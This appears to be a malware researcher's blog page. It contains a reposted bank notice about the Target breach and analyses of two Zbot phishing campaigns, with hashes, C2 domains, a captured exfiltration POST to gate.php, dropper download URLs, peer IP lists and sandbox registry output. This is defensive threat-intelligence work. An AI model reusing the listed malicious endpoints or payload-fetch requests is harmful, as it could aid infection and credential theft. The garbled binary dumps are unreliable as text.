Time to start blogging again. So I started back up my malware research into rootkits and kicked the dust off all my servers and VM's. I look forward to start sharing my reverse engineer projects again.
Reverse Malware Analysis, DFIR, Malware Ethical Hacking || Follow me on twitter @razoreqx || My opinions are my own and do not represent any company or the companies I work for.
Saturday, May 20, 2017
"As always, Capital One customers have zero liability for fraudulent activity"
A message for our customers about the Target compromise:
We want to assure you that we are aware of the reported incident at Target impacting some credit and debit cardholders who used their cards at Target stores between November 27 and December 15, 2013.
Protecting customer and account information is a top priority and we take it very seriously. We have rigorous fraud systems in place that actively monitor our customers' accounts for suspicious activity. If we suspect fraud, we will contact you to confirm the fraud, then close your account and reopen it with a new account number.
As always, Capital One customers have zero liability for fraudulent activity. We encourage you to monitor your accounts and if you notice any activity that you do not recognize, you should call the number on the back of your card as soon as possible.
You can also enroll in account alerts to help you keep track of activity on your accounts. Sign in to online banking to set up text or email alerts based on your preferences.
If you have any questions or concerns, please contact us via Twitter (@askcapitalone) or call the number on your card or statement.
Frequently Asked Questions
Was my data compromised?
Target is reporting that some credit and debit cards used at Target stores between November 27 and December 15 were compromised. If you did not use your card at a Target store during this timeframe, we do not have reason to believe your card was compromised. We continuously monitor for fraud and if we notice any irregular activity we will individually notify the customer.
What should I do?
Whether you're notified or not, it's always a good idea to check your credit report and be aware of any suspicious activity on all of your accounts.
Will Capital One be notifying affected customers?
We will continue to monitor these accounts and notify customers of any suspicious activity.
Has the security breach been fixed?
Yes. Target is working with Visa and MasterCard and law enforcement to ensure no further information is exposed.
What are the chances that I become a victim of identity theft as a result of this incident?
We were informed that there wasn't significant personally identifying information stolen, such as Social Security numbers or addresses, so we believe that the risk of identity theft is greatly reduced. However, it's always a good idea to check your credit report regularly for incorrect information. In fact, you're entitled to one free copy of your credit report every year at www.annualcreditreport.com or by calling (877) 322–8228.
We want to assure you that we are aware of the reported incident at Target impacting some credit and debit cardholders who used their cards at Target stores between November 27 and December 15, 2013.
Protecting customer and account information is a top priority and we take it very seriously. We have rigorous fraud systems in place that actively monitor our customers' accounts for suspicious activity. If we suspect fraud, we will contact you to confirm the fraud, then close your account and reopen it with a new account number.
As always, Capital One customers have zero liability for fraudulent activity. We encourage you to monitor your accounts and if you notice any activity that you do not recognize, you should call the number on the back of your card as soon as possible.
You can also enroll in account alerts to help you keep track of activity on your accounts. Sign in to online banking to set up text or email alerts based on your preferences.
If you have any questions or concerns, please contact us via Twitter (@askcapitalone) or call the number on your card or statement.
Frequently Asked Questions
Was my data compromised?
Target is reporting that some credit and debit cards used at Target stores between November 27 and December 15 were compromised. If you did not use your card at a Target store during this timeframe, we do not have reason to believe your card was compromised. We continuously monitor for fraud and if we notice any irregular activity we will individually notify the customer.
What should I do?
Whether you're notified or not, it's always a good idea to check your credit report and be aware of any suspicious activity on all of your accounts.
Will Capital One be notifying affected customers?
We will continue to monitor these accounts and notify customers of any suspicious activity.
Has the security breach been fixed?
Yes. Target is working with Visa and MasterCard and law enforcement to ensure no further information is exposed.
What are the chances that I become a victim of identity theft as a result of this incident?
We were informed that there wasn't significant personally identifying information stolen, such as Social Security numbers or addresses, so we believe that the risk of identity theft is greatly reduced. However, it's always a good idea to check your credit report regularly for incorrect information. In fact, you're entitled to one free copy of your credit report every year at www.annualcreditreport.com or by calling (877) 322–8228.
Tuesday, January 7, 2014
Chase Morgan Phishing Campaign = Zbot
Email:
From: Chase Morgan [mailto:gens@chase.com]
Sent: Tuesday, January 07, 2014 3:36 AM
Subject: Transaction Alert
Dear Customer,
Below attached is copy of the Telegraphic transfer slip as initiated from our bank to your account as instructed by,your adviced to print out copy of transfer slip for confirmation.
Regards,
Dennison Mark
#note they still cant spell :P
# File
Zip File attachment: Payment_Slip.zip
File is actually a Payment Slip.scr
#DFIR
#DFIR
https://malwr.com/analysis/ZDAxMzRhNWI3YWU5NDQ4NmE4ZGY3ZjNkZjZjOTAzOTI/
| FILE NAME | Payment Slip.scr |
|---|---|
| FILE SIZE | 229689 bytes |
| FILE TYPE | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5 | ddf15baab37ffb9d63c8095f6fad20f0 |
| SHA1 | c56ca8e346a9ff2f3de9d44d2aa9f6662ddfc8fe |
| SHA256 | 84c595902978bf5a9a9343b62c8a650e34b3000355ce8b554887dd4e37989c3e |
| SHA512 | db307fd4c251a8507f5a497353bac95473b02aed3b5b964f303f99e71a0bf65b5e5eb35dc5fed7cd89bc39c85fdb87bdf5e563be49e4525b0a91193a8a578885 |
| CRC32 | 20434565 |
| SSDEEP | 6144:n0PyNAsjNceWItMN8HedzJenWoQAJD0N4YEv2Fkbl:nUG68HmJenWoQsO4ZOFS |
| YARA |
|
Hosts
| IP |
|---|
| 208.64.67.36 |
| 74.125.136.105 |
| 74.125.136.94 |
Domains
| DOMAIN | IP |
|---|---|
| balharbourcondo[.]com | 208.64.67.36 |
| www.google.com | 74.125.136.103 |
| www.google.nl | 74.125.136.94 |
| http://balharbourcondo[.]com/item/gate[.]php {exfiltration snippet} | POST /item/gate.php HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2) Host: balharbourcondo.com Content-Length: 346 Connection: Keep-Alive Cache-Control: no-cache \xddcC\x1bK-\x17\xf4Q\xc8\x0f\x03\xd9\x89\xc8Y\x9a\x1f<\xaa\x82\xc3\x9e\xdf\x8aTO\x07B\xdb\xeeT\xb9\xc9\xdf\xa8\xe1\x0c\xe8\xae=\x00\xb7=i\x17\xf9\xcd\x08V0\x84\x8a\xa1&"\x0f\xfa!\x1d\xdbd\xcbv\x00\x8b^\xf4\xc7!e\xa6\xef(\xba\xac\xcbf\xfd\xb4\xa4!T6V\xb1\xafg\xdb\xdcG\x96i\xfa\xa5\x95\x18%\x8c\x84TqrrF\xc7\x8a\xc3L\x90o\xef \xe9\xf9v"\xdc.6-.\x00\xe1&\xd2\x03\xbaI\x98P \xf2\x15u\xb8*\x81\xfaY\x960Y\xd5\x0e\x90\x07o'r`\x15\xe1vr\x14\xda\x1a\xe2\xad\xe5Ir\xa4\xd5\xd0\x95\xca^|t\x80\xd7\xe3z\xdb%v\x96\xa4\xc3-!\xeb\x19\xd5\xe1\xb4\x92\xc6v\x84yrI\xd6\xf5N\xfcw\xca\x86;\xf8\xea\xc8C\x94\x8a\xdb|\xf4\x97J\xa4m\xf6dV\xa2\xed\x84G-\x91\xa6\x92?\xe9\x1e\xad\xfd\x87"e\xaf\xa6\x1e\x7fs\xdb\x80BTb\x03\x99\x19\x87\xc6\xf5@EEtE\x04\xba\xd9\xc5 Gy &/\xc2Ha\xcd\xf8\xe4\xb5\x1c\xc6R\x83\x1c\xa4G'\xeb\xa6P\xab\x0f:o\xf3\x1bP\xa6\xe4T\x9f\xa6\xf9\x16\xb4ut\xaf^X\xcf@\xa0\x1aZb\x0e \xbaJ\x93\x87\xd8[\x02E\xe3\xf2\xe2'\xa5\xeeu\\xe2\xf9^ \xb1\xe6\x8c!S\x9a\x18\xac,\x12\xfe\xacf |
IP ADDRESSES
| First seen | Last seen | IPs |
|---|---|---|
| 10/10/13 | 1/7/14 |
|
KNOWN DOMAINS HOSTED BY 208.64.67.36
balharbourcondofl[.]com
bronxdentistny[.]com
buy400sunnyislescondo[.]com
ns1[.]thinkwmb[.]ru
thinkwmb[.]ru
balharbourcondo[.]com
posrednikusaebay[.]ru
serial[.]allz.su
serialls[.]biz
balharbourbellini[.]com
buychateaubeach[.]com
sunnyislesrealestatecondos[.]com
buymansionsatacqualina[.]com
buyporshedesigntower[.]com
mir-automatiki[.]ru
sellturnberryoceancolony[.]com
balharbourmajestictowers[.]com
stregisandbalharbour[.]com
ftp[.]deeplogic[.]us
Tuesday, December 31, 2013
Happy New Year
I hope everyone has a safe New Year, and welcomes in the new year. We have our health, our families and the lessons we learned from 2013.
Be thankful.
God Bless.
Be thankful.
God Bless.
Tuesday, November 5, 2013
FedEx Phishing Campaign (Zbot)
FedEx Phishing Campaign At the time I pulled this sample it was 8 hours old on VirusTotal. It did not appear to be specific to any industry and minimal changes had been changed to the PE to evade detection.
Details are as follows:
118.21.162.237 (i118-21-162-237.s30.a048.ap.plala.or.jp)
Tokyo 40 Japan
Delivery: SMTP
exe
37.0 KB
61740 -> 25 (SMTP)
TCP Client to TCP Server
Trojan.Win32.Agent.acqpl TROJWARE (zbot)
Agent acqpl
Other Country Sources:
http://pastebin.com/RJi9XqX5
Email:
mime(Order history page.zip.b64) base64(Order history page.zip) zip(Order history page.pdf.exe)
i118-21-162-237.s30.a048.ap.plala.or.jp mail.company.com BODY=7BIT BODY=7BIT
Subject: Your Rewards Order Has Shipped
Body
ontent-Type: text/plain; charset=windows-1250.
Content-Transfer-Encoding: 7bit.
This is to confirm that one or more items in your order has been shipped. ..Note that multiple items in an order may be shipped separately.....
You can review complete details of your order on the ..Order History page ..........
hanks for choosing FedEx.....
Order Confirmation Number: ..3899836....
Order Date: ..11/03/2013....
Redemption Item...Quantity...Tracking Number....
Paper, Document16.
fedex.com...
Follow FedEx
You may receive separate e-mails with tracking ..information for reward ord ered...
My FedEx Rewards may be modified or terminated at any time ..without notice . Rewards points available for qualifying purchases and certain exclusions apply . For details and ..a complete listing of eligible products and services please read ..My FedEx Rewards Terms and Conditions.........
2012 FedEx. The content of this message is ..protected by copyright and tr

Malwr
Forensic Data (Text)
MZ ÿÿ @ @
$ PE L 1⁄2[cB à
Z 0 @ à.code a
`.data $E 0 F !Àá èÓ É&ÉF&l2BÉF&
o ́Í! ̧LÍ!This program cannot be run in DOS mode. : ä;
.text <
Ð ùÄ @à.idata:
R @À.rsrc ä; < X
@@
\2BÉF&
ÉF&ÉF&ÉF&ÉF&ÂÉF&"ÉF&&£2BF&*ÉF&.Bî2ÂvqÉ&2BÉF&ÉF&
ÉF&BîútDwÓllja2B4B¥T2Bjq2B7T2Bê©j2BÒîÉ&2BBîíË£
2B&âBWçîÉGþGþêËÅRÉÀa2BqBKuB3R@AIHHHR¬aZäõ3\+Òîl72BòB\+ÄTlljR2Bj22BB\+ÄÅ3Â\Å
êiqêhqêSqêJqWçUXYîj#2B7X2BêÕ¥4BGúvX?v RZ?ví 2Bí2B?2BvíêDG
&GF&GF&
GF&BÆíÉ&¢BÆ3ÂÆa`]ËÄ?2BwK7qB7qBjÚB7qBl
RÞB¥2B£2Bê 2BÉëèÄÔRÅWçî
hAO\wgüY>h
GúB"G
Gþ3ËWú=L<_ div="">
wUê2úvCíàGúB&G
3ÝhJGúBG
G
í3Âî_Ä
UF&
^&vF&F&
íæoío]Ä
vvRBVBZB^BÅ~BlBlBl¦Ba@ ÿ¬@ j ÿ°@ ÿ ́@ ÿ ̧@ ÿ1⁄4@ j ÿÀ@ ÿÄ@ ÿ@ ÿ`@ j ÿd@ ÿh@ ÿl@ j ÿp@ ÿt@ j ÿx@ ÿ@ ÿ@ j ÿ@ ÿ@ j Ã1ÿWjhP0@ h00@ ÿ@ = tÃ3⁄4 @ ÷j[d 0 Qj 1@ (ØaFâøD$Á@Ã@Ë @£V0@ ÄÃ
ì4j j ÿÈ@ h 1ÀPÌ@ ÿÒ£0@ »0@ Ç0@ @ ì ̧ Pj ÿÈ@ ì£0@ SÿÐ@ ìè¦ïÿÿë¤ÀUå
LoadLibraryExA record recsound c:\\ere\ereaaaa c FTPR user32.dll CLSS TranslateMessage @ j0@ éà áà ýà ûà ûà áà 4à Ià @à «à à 1à Þà ;à «à äà :à à ûà ûà ûà ûà #à ûà ûà {à à ûà ûà Pà à àà à pà à à @à à ,à Íà ,à Öà ®à ÿà òà îà à 1⁄4à Là à Hà à à @à à à Pà à $à Ëà Ýà ÷à Tà à à ,à 1⁄2à à Xà à $à Õà $à 3⁄4à 1⁄4à Ãà à à @à à à Xà à à à ~à Áà ÿà Ýà àà Äà 1⁄2à à ûà Pà à àà à pà à à xà à à Hà à ,à Íà à à à à à
--- CUT----
DFIR:
MAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED _DATA, IMAGE_SCN_MEM_READ
c13cf0af350fd6dfb8380d0968c23 0b1.exe
filename: slide1.exe
Callbacks:
103[.]6[.]196[.]152
80
TCP
GET hxxp://asfitness[.]com:80/wp-content/uploads/2013/04/ourgoals.exe
request (dropper)
x-pingback
hxxp://www[.]asfitness.com/xmlrpc[.]php
x-powered-by PHP/5.3.27
location hxxp://www[.]asfitness[.]com/wp-content/uploads/2013/04/ourgoals.exe
content-length 0
server Apache
69[.]64[.]39[.]215
80 TCP
GET hxxp://dominionthe[.]com:80/images/slide1.exe
dominionthe[.]com
user-agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)
content-length 441856
server Apache
99[.]35[.]113[.]22 8610
70[.]52[.]185[.]81 1044
109[.]152[.]163[.]147 9819
86[.]46[.]238[.]128 8274
178[.]131[.]179[.]64 6295
71[.]35[.]90[.]194 7606
59[.]99[.]73[.]77 9084
79[.]23[.]23[.]228 7377
141[.]0[.]97[.]49 5609
82[.]107[.]157[.]227 2186
150[.]212[.]189[.]200 1685
99[.]123[.]8[.]127 4870
139[.]195[.]227.57
2./228/.19./149 6356
84./140/.161/.152 4019
176/.73/.200/.140 5014
213/.123./216./113 8730
70/.246/.10./226 2276
2./135./143/.98 2696
108./237/.184/.77
80./11/.166/.26 1172
82./89./225./96 8310
70./30./53./56 8204
176./73/.230/.38 1153
201/.174/.194/.198 5552
58./97./166./89 2466
2./229./105./13 8381
217/.27./102/.96 6308
80./141./251./252 8581
190/.201/.1./139 9466
217./92./114/.216 1981
95./104./86./31 8251
78./15./147./55
75./146./121./185 3413
77./107./154./122 4450
79./19./139./88 6301
46./44./133./57 5717
Process activity after target sample started. lsass.exe C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\lsass.exe
Mon Nov 04 2013 10:22:41 UTC C:\WINDOWS\system32\
C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\lsass.exe
Processes Name: lsass.exe
\lsass
Page 21
Name: svchost.exe
PID: Child Count: File Actions: Registry Actions: Analysis Reason: Process Name: Image Filename: Command Line: Children: New: Started At: Current Directory: Image Base Address: Window Title: Shell Info: Desktop Info:
748
0
2
37
Process activity after target sample started. svchost.exe C:\WINDOWS\System32\svchost.exe C:\WINDOWS\System32\svchost.exe -k netsvcs
Mon Nov 04 2013 10:22:42 UTC C:\WINDOWS\system32\
C:\WINDOWS\System32\svchost.exe
Artifacts
ID Path
16 748-svchost.exe
File Activity Action Path Modified
\ROUTER
Modified
\WINDOWS\Prefetch\CMD.EXE-087B4001.pf
Registry Activity: Created Registry Keys
Created Key
Access List
Option List
REGISTRY\USER\S-1-5-21-1202660629-583907252- 1801674531- 1003\SOFTWARE\MICROSOFT\MULTIMEDIA\AUDIO COMPRESSION MANAGER\MSACM
CREATE_SUB_KEY,ENUMERATE_SUB_KEYS,QUERY_ VALUE,READ_CONTROL,NOTIFY,SET_VALUE
REG_OPTION_N ON_VOLATILE
REGISTRY\USER\S-1-5-21-1202660629-583907252- 1801674531- 1003\SOFTWARE\Microsoft\Windows\CurrentVersion\Inte rnet Settings
CREATE_SUB_KEY,ENUMERATE_SUB_KEYS,QUERY_ VALUE,READ_CONTROL,NOTIFY,SET_VALUE
REG_OPTION_N ON_VOLATILE
Registry Activity: Modified Registry Keys
Modified Key
Value Name
Data Type
Data
REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDO WS NT\CURRENTVERSION\PREFETCHER
TracesProces sed
DWORD_LIT TLE_ENDIAN
17
REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDO WS NT\CURRENTVERSION\PREFETCHER
TracesSucce ssful
DWORD_LIT TLE_ENDIAN
5
REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDO WS NT\CURRENTVERSION\PREFETCHER
LastTraceFail ure
DWORD_LIT TLE_ENDIAN
4
REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDO WS NT\CURRENTVERSION\PREFETCHER
TracesProces sed
DWORD_LIT TLE_ENDIAN
18
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
DhcpRetrySta tus
DWORD_LIT TLE_ENDIAN
2
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
DhcpDefaultG ateway
MULTI_SZ
172.16.1.1
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
DhcpDefaultG ateway
MULTI_SZ
172.16.1.1
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS
DhcpNameSe rver
SZ
172.16.1.1
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
DhcpNameSe rver
SZ
172.16.1.1
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
DhcpSubnet MaskOpt
MULTI_SZ
255.255.0.0
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
DhcpSubnet MaskOpt
MULTI_SZ
255.255.0.0 Page 22
Details for Alert ID 67540517
{C20FDDB0- BD90-4E06- 8D7A- 87767A38239 3}
BINARY
DhcpIPAddre ss
SZ
DhcpIPAddre ss
SZ
DhcpSubnet Mask
SZ
DhcpSubnet Mask
SZ
DhcpServer
SZ
DhcpServer
SZ
Lease
DWORD_LIT TLE_ENDIAN
Lease
DWORD_LIT TLE_ENDIAN
LeaseObtaine dTime
DWORD_LIT TLE_ENDIAN
LeaseObtaine dTime
DWORD_LIT TLE_ENDIAN
T1
DWORD_LIT TLE_ENDIAN
T1
DWORD_LIT TLE_ENDIAN
T2
DWORD_LIT TLE_ENDIAN
T2
DWORD_LIT TLE_ENDIAN
LeaseTermin atesTime
DWORD_LIT TLE_ENDIAN
LeaseTermin atesTime
DWORD_LIT TLE_ENDIAN
IPAutoconfigu rationAddress
SZ
IPAutoconfigu rationMask
SZ
IPAutoconfigu rationSeed
DWORD_LIT TLE_ENDIAN
AddressType
DWORD_LIT TLE_ENDIAN
IsServerNapA ware
DWORD_LIT TLE_ENDIAN
DhcpRetrySta tus
DWORD_LIT TLE_ENDIAN
DhcpRetryTi me
DWORD_LIT TLE_ENDIAN
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\DHCP\PARAMETERS
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\{C20FDDB0-BD90-4E06-8D7A- 87767A382393}\PARAMETERS\TCPIP
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVI CES\TCPIP\PARAMETERS\INTERFACES\{C20FDDB0- BD90-4E06-8D7A-87767A382393}
AwAAAAAAAAAEAAAAAAAAAAqxd1KsEA EBUQAAAAAAAAASAAAAAAAAAAqxd1ID// 9qb2UtOGE4MWM3NmM5ZGYAAAYAAAA AAAAABAAAAAAAAAAKsXdSrBABARwAA AAAAAAABAAAAAAAAAAKsXdSrBD//wEA AAAAAAAABAAAAAAAAAAKsXdS//8AADs AAAAAAAAABAAAAAAAAAAKsXdSAAAB9 zoAAAAAAAAABAAAAAAAAAAKsXdSAAA BFjMAAAAAAAAABAAAAAAAAAAKsXdSA AACWDYAAAAAAAAABAAAAAAAAAAKsX dSrBABATUAAAAAAAAAAQAAAAAAAAAK sXdSBQAAAA==
600
600 1383575218 1383575218 1383575496 1383575496 1383575721 1383575721 1383575818 1383575818 0.0.0.0 255.255.0.0 0
MANAGER\ACCOUNTS\VERISIGN
LDAP Search
%ProgramFiles%\Common Files\Services\bigfoot.bmp
VeriSign Internet Directory Service directory.verisign.com http://www.verisign.com
%ProgramFiles%\Common Files\Services\verisign.bmp
WhoWhere Internet Directory Service ldap.whowhere.com http://www.whowhere.com
Registry Activity: Deleted Registry Key Values
ame: c13cf0af350fd6dfb8380d0968c230b1.exe
PID: Child Count: File Actions: Registry Actions: Analysis Reason: Process Name: Image Filename: Command Line: Children: New: Started At: Current Directory: Image Base Address: Window Title: Shell
File Activity:
Path Created
\??\C:\DOCUME~1\Malware~1\LOCALS~1\Temp\xsiretgashup.exe
Modified
\DOCUME~1\Malware\LOCALS~1\Temp\xsiretgashup.exe
Modified
\ROUTER
Modified
\Documents and Settings\Malware\Local Settings\Temporary Internet Files\Content.IE5\MRMBYDAX\slide1[1].exe
Modified
Registry Activity: Created Registry Keys
REGISTRY\USER\Malware\Software\Microsoft\Multimedia\Audio Compression Manager\
READ_CONTROL,CREATE_SUB_KEY,SET_VALUE
REG_OPTION_N ON_VOLATILE
REGISTRY\MACHINE\SOFTWARE\MICROSOFT\CRYPTO GRAPHY\RNG
Cookie Harvest
BINARY
futxhHWuQhIfkFA2NIDyL77fRlXHJxTDhr40k GMDYeX3u+W7g1I1wsr0lh7Ou9iDaqs+zpu 91H2N3Hg1G/WP5SwYjzegsPYZa3lrn5j1O GZ+O81+OI/p9OzcDyvGZJW2V5HbiG5gx1 FimFpAjcJr1czwe2I+G6qSBA+2BMMKTyT8j U/45wogwxFa8w3Y3po1AAgDmMpNm36Q+ vegCF6PXRJeQlJdD+oQDvVfakhIGUzSmh+ tfoGcvF09ecHeAdiCgvUL1rQa4csKmknl9XU gcZzWMwqhOTcZu6VMbrMblZYf+qfOwRBd Xa+6jIgKrI44BKC77i+guuY3X1rgiQG6MsoL dnklRdyK+q882JNEHWf2IMvGotnkBnRsWu ML2aGusDB0ol/lRQTjkinpz3tvKwisf7sCVKH 3umZ1v2u9wtDYQHx5wnpAOTwHbwYBl3cn QJBCVVN3XpoYpSFH5DHRJXwqrOT6e/cD zneaJaYairW6OAEbV1ELiC6uAWzczShIuY +iWx/jTHr08ZQtaJI1L4OYew5GUpfSu65Fe OZH8tfcliW/pDLwjYm+aQ1ZpMkaLgHLGMb K840tB5I+w0RONhq28eJySS3HfApNToiJlSr QuS4cQxovd1bHvQ==
REGISTRY\USER\S-1-5-21-1202660629-583907252- 1801674531- 1003\SOFTWARE\MICROSOFT\OVNEOCAQY
2f09bg73
SZ
futxhHWuQhIfkFA2NIDyL77fRlXHJxTDhr40k GMDYeX3u+W7g1I1wsr0lh7Ou9iDaqs+zpu 91H2N3Hg1G/WP5SwYjzegsPYZa3lrn5j1O GZ+O81+OI/p9OzcDyvGZJW2V5HbiG5gx1 FimFpAjcJr1czwe2I+G6qSBA+2BMMKTyT8j U/45wogwxFa8w3Y3po1AAgDmMpNm36Q+ vegCF6PXRJeQlJdD+oQDvVfakhIGUzSmh+ tfoGcvF09ecHeAdiCgvUL1rQa4csKmknl9XU gcZzWMwqhOTcZu6VMbrMblZYf+qfOwRBd Xa+6jIgKrI44BKC77i+guuY3X1rgiQG6MsoL dnklRdyK+q882JNEHWf2IMvGotnkBnRsWu ML2aGusDB0ol/lRQTjkinpz3tvKwisf7sCVKH 3umZ1v2u9wtDYQHx5wnpAOTwHbwYBl3cn QJBCVVN3XpoYpSFH5DHRJXwqrOT6e/cD zneaJaYairW6OAEbV1ELiC6uAWzczShIuY +iWx/jTHr08ZQtaJI1L4OYew5GUpfSu65Fe OZH8tfcliW/pDLwjYm+aQ1ZpMkaLgHLGMb K840tB5I+w0RONhq28eJySS3HfApNToiJlSr QuS4cQxovd1bHvQ==
REGISTRY\USER\S-1-5-21-1202660629-583907252- 1801674531- 1003\SOFTWARE\MICROSOFT\OVNEOCAQY
2f09bg73
SZ
futxhHWuQhIfkFA2NIDyL77fRlXHJxTDhr40k GMDYeX3u+W7g1I1wsr0lh7Ou9iDaqs+zpu 91H2N3Hg1G/WP5SwYjzegsPYZa3lrn5j1O GZ+O81+OI/p9OzcDyvGZJW2V5HbiG5gx1 FimFpAjcJr1czwe2I+G6qSBA+2BMMKTyT8j U/45wogwxFa8w3Y3po1AAgDmMpNm36Q+ vegCF6PXRJeQlJdD+oQDvVfakhIGUzSmh+ tfoGcvF09ecHeAdiCgvUL1rQa4csKmknl9XU gcZzWMwqhOTcZu6VMbrMblZYf+qfOwRBd Xa+6jIgKrI44BKC77i+guuY3X1rgiQG6MsoL dnklRdyK+q882JNEHWf2IMvGotnkBnRsWu ML2aGusDB0ol/lRQTjkinpz3tvKwisf7sCVKH 3umZ1v2u9wtDYQHx5wnpAOTwHbwYBl3cn QJBCVVN3XpoYpSFH5DHRJXwqrOT6e/cD zneaJaYairW6OAEbV1ELiC6uAWzczShIuY +iWx/jTHr08ZQtaJI1L4OYew5GUpfSu65Fe OZH8tfcliW/pDLwjYm+aQ1ZpMkaLgHLGMb K840tB5I+w0RONhq28eJySS3HfApNToiJlSr QuS4cQxovd1bHvQ==
BINARY
futxhK4DNUDRIlZxQfKkhf/ZXWdkOj9O5gZo 4Mf/VED1jOxz2GOCOd70lh7Ou9iDaqs+zpu 91H2N3Hg1wESyAoro2ZFKYkWsQdCRv3G soyA7xBGeXVAZ/vhYUo3O/oikqYdnmTcPN RE4WKn3hSeVhYoF7l1iFhKf0lpB2wHxIO4I W5Q5QbGy74ucwuG/WQwF8y+99aPOo8z RcOrB7cjAlRn9iTTdWuEQ
REGISTRY\USER\S-1-5-21-1202660629-583907252- 1801674531- 1003\SOFTWARE\MICROSOFT\OVNEOCAQY
7dg9e28
BINARY
futxhHWuQhIfoFE2NIDy6StwEtJr5sGtoUDT ZbG91otOoMl6
REGISTRY\USER\Malware\SOFTWARE\MICROSOFT\OVNEOCAQY
20dcj2dj
SZ
